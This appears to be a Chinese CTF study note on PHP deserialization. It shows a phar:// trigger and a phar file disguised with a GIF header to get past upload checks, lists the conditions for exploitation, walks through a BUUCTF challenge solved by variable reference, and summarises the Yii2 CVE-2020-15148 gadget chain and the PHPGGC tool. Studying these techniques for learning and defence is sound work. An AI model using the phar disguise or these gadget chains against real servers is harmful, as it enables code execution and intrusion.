<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段

代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的

文件。

PHP
<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'hu3sky';
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测。

利用条件

  • phar文件要能够上传到服务器端。如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
  • 要有可用的魔术方法作为“跳板”。
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

PHP原生类反序列化

在CTF题目中,好几次都遇到了利用 PHP 原生类进行XSS、反序列化、SSRF以及XXE的思路,一直想好好看一下 PHP 原生类在 CTF 中的利用,迫于生活xx拖了好久。今天终于有机会好好总结总结了。常遇到的几个 PHP 原生类有如下几个:

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

原文地址

变量引用使用

PHP
<?php
/**

 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
   */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

我们如何获取flag?

思路如下:

  • 首先满足一系列的if判断,随后触发obj的反序列化
  • 触发BUU::__destruct(),判断$correct是否等于$input,相等则输出flag

那么如何使两个变量的值相等呢?

PHP
$input=&$correct;
$input="test";
echo $input;
echo $correct
# $input=$correct

上述的代码会将$input指向$correct的地址,从而使$input和$correct永远相等

Yii反序列化漏洞

Yii框架

Yii 是一个适用于开发 Web2.0 应用程序的高性能PHP 框架。

Yii 是一个通用的 Web 编程框架,即可以用于开发各种用 PHP 构建的 Web 应用。 因为基于组件的框架结构和设计精巧的缓存支持,它特别适合开发大型应用, 如门户网站、社区、内容管理系统(CMS)、 电子商务项目和 RESTful Web 服务等。

Yii 当前有两个主要版本:1.1 和 2.0。 1.1 版是上代的老版本,现在处于维护状态。 2.0 版是一个完全重写的版本,采用了最新的技术和协议,包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits(特质)等等。 2.0 版代表新一代框架,是未来几年中我们的主要开发版本。

Yii 2.0 还使用了 PHP 的最新特性, 例如命名空间 和Trait(特质)

漏洞描述

Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

2.0.38已修复,官方给yii\db\BatchQueryResult类加了一个__wakeup()函数,__wakeup方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞。

  1. 参考文章1
  2. 参考文章2
  3. 参考文章3

PHPGGC工具

PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具,可以说是反序列化的武器库

  1. 扩展添加
  2. 基础用法

PHP反序列化总结

参考文章

利用不安全的反序列化漏洞 | 网络安全学院 --- Exploiting insecure deserialization vulnerabilities | Web Security Academy